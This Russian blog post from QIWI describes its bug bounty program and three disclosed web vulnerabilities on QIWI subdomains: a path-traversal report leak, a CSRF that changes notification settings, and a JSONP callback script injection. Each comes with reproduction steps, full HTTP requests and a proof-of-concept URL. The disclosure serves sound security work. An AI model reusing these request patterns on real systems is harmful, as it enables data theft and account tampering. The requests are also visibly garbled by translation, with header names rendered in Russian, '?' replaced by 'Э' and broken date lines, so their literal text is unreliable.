3 Истории Этического Хака. Как Хакеры Помогают Qiwi Устранять Ошибки

Не так давно мы в QIWI запустили интересную программу - это называется этический взлом .

По сути, мы привлекаем всех к поиску ошибок и багов в интерфейсах системы.

Нашёл ошибку, описал её в письме, получил вознаграждение от QIWI — так работает схема.

Когда программа только запускалась, контора разделилась на 2 лагеря: одни верили в успех и возможность помощи хакеров, другие скептически относились к этой идее.

Тогда сложно было судить объективно – у нас не было ничего, кроме вероятных прогнозов.

А сейчас – есть.

И мы просто хотим поделиться с вами нашими проверенными случаями.



3 истории этического хака.
</p><p>
 Как хакеры помогают QIWI устранять ошибки

С момента запуска программы мы получили информацию и исправили более 150 уязвимостей.

За отдельные уязвимости мы платили до 150 000 рублей, но публиковать их в примерах не можем.

Итак, программа стартовала.

У нас накопилось множество ошибок, которые мы исправили благодаря помощи хакеров.

Специально для вас мы выделили несколько примеров.

Несколько реальных историй о этических хаках.



История первая: читайте отчеты других людей.

Уязвимый хост: sms.qiwi.ru Тип уязвимости: обход каталога + слабая проверка идентификатора + отсутствие проверки сеанса.

Что позволяет: Читать чужие отчеты и получать сводку о клиентах компании и их действиях :) Где именно: sms.qiwi.ru/bo/monitor/get_excel_format.jspЭhtml_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id=Как повторить: Укажите в конце нужный идентификатор отчета + его номера как каталог после Reports (123456 -> report/12/34/56.dat).

Вуаля, у вас чужой отчет :) Полный GET-запрос с примером кражи чужого отчета: GET /bo/monitor/get_excel_format.jspЭhtml_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id= HTTP/1.1 Хост: sms.qiwi.ru Пользовательский агент: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, например Gecko) Версия/6.0.3 Safari/536.28.10 Принять: text/html,application/xhtml+xml,application/xml;q=0,9,*/*;q=0,8 Источник: sms.qiwi.ru Принять-кодирование: gzip, deflate Принять-Язык: ru Реферер: sms.qiwi.ru/bo/monitor/report_view.jspЭinstance_id=144114 Файл cookie: JSESSIONID=; __utma=200106670.88940096.1367226876.1367244987.1367247574.7; __utmc=200106670; __utmz=200106670.1367247574.7.5.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=site%3Aqiwi.ru%20inurl%Соединение: Keep-Alive Прокси-соединение: поддерживать активность

История вторая: как можно было изменить настройки уведомлений.

Уязвимый хост ishop.qiwi.ru Тип уязвимости по классификации OWASP TOP 10 A8 — CSRF Где именно ishop.qiwi.ru/notificationSave.action Что позволит Уязвимость позволяет злоумышленнику изменить параметры уведомления (номер телефона, SMS и т. д.) пользователя, когда этот пользователь переходит на специально созданную злоумышленником страницу.

Как повторить 1. Войдите в систему под определенной учетной записью пользователя.

2. Настройте параметры уведомлений.

3. Выполните шаг 4 (тест).

4. Отправьте следующий запрос с помощью приложения BurpSuite или аналогичного, подставив полученные значения cookie сеанса (JSESSIONID) POST/notificationSave.action HTTP/1.1 Хост: ishop.qiwi.ru Пользовательский агент: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0 Принять: text/html,application/xhtml+xml,application/xml;q=0,9,*/*;q=0,8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Принять-кодирование: gzip, deflate Реферер: ishop.qiwi.ru/notifications.action Файл cookie: __utma=200106670.867508279.1368788962.1368788962.1369037765.2; __utmz=200106670.1368788962.1.1.utmcsr=(прямой)|utmccn=(прямой)|utmcmd=(нет); __utmc=200106670; JSESSIONID=;.

node-ishop04.1; __utma=47471167.1903908478.1369624211.1369650501.1369717004.6; __utmc=47471167; __utmz=47471167.1369717004.6.2.utmcsr=ishopnew.qiwi.ru|utmccn=(реферал)|utmcmd=referral|utmcct=/; __utmb=47471167.25.10.1369717004 Соединение: поддержание активности Тип контента: приложение/x-www-form-urlencoded Длина контента: 244 phone=&incomingBillMail=true&__checkbox_incomingBillMail=true&__checkbox_outgoingBillMail=true&__checkbox_incomingPayMail=true&__checkbox_incomingPaySMS=true&__checkbox_cancelPayMail=true&__checkbox_cancelPaySMS=true 5. Перейдите на страницу настроек уведомлений, убедитесь, что номер телефона и настройки уведомлений изменены.

Рекомендации по устранению Добавьте скрытое поле формы, содержащее случайное значение — токен CSRF. www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet

История третья: произвольный код.

На сайте обнаружена ошибка w.qiwi.ru .

Для параметра обратного вызова в сценарии /user/communication/sendsms.action не предусмотрена проверка или экранирование вывода.

На стороне клиента возможно выполнение произвольного кода.

Для проведения атаки регистрация пользователя в системе не требуется.

Пользователь должен открыть скрипт JavaScript, предлагаемый браузером.

Пример запроса GET /user/communication/sendsms.actionЭnumber=&text=111&callback=<> "'; HTTP/1.1 Хост: w.qiwi.ru Пользовательский агент: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0 Принять: текст/javascript, приложение/javascript, */* Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Принять-кодирование: gzip, deflate X-Requested-With: XMLHttpRequest Реферер: w.qiwi.ru/communication.action Файл cookie: __utma=153665022.317299647.1368525797.1368679677.1368684655.3; __utmz=153665022.1368684655.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=qiwi%20webmoney; JSESSIONID=.

node-wb02.2; __utmc=153665022; __utmb=153665022.34.10.1368684655 Соединение: поддержание активности Длина контента: 6 Отвечать HTTP/1.1 200 ОК Дата: четверг, 16 мая 2013 г.

, 08:16:14 по Гринвичу Истекает: суббота, 6 мая 1995 г.

, 12:00:00 по Гринвичу.

Управление кэшем: без сохранения, без кэша, обязательная повторная проверка.

Управление кэшем: пост-проверка=0, предварительная проверка=0 Прагма: без кэша Тип контента: текст/javascript;charset=utf-8 Длина контента: 142 Keep-Alive: таймаут=5, макс=100 Соединение: Поддержание активности <> "';({error:0,data:{"confirmedBySms":true,"confirmLink":"",,"provider":"199", "identifier":""},messages:[],errors: [ ],fieldErrors:[]}) Доказательство концепции В браузере Internet Explorer перейдите по адресу w.qiwi.ru/user/communication/sendsms.actionЭnumber= text=111&callback=WScript.Echo('XSS'); Во время тестирования использовался браузер Internet Explorer версии 9. Теги: #Qiwi #информационная безопасность #взлом #информационная безопасность

Вместе с данным постом часто просматривают: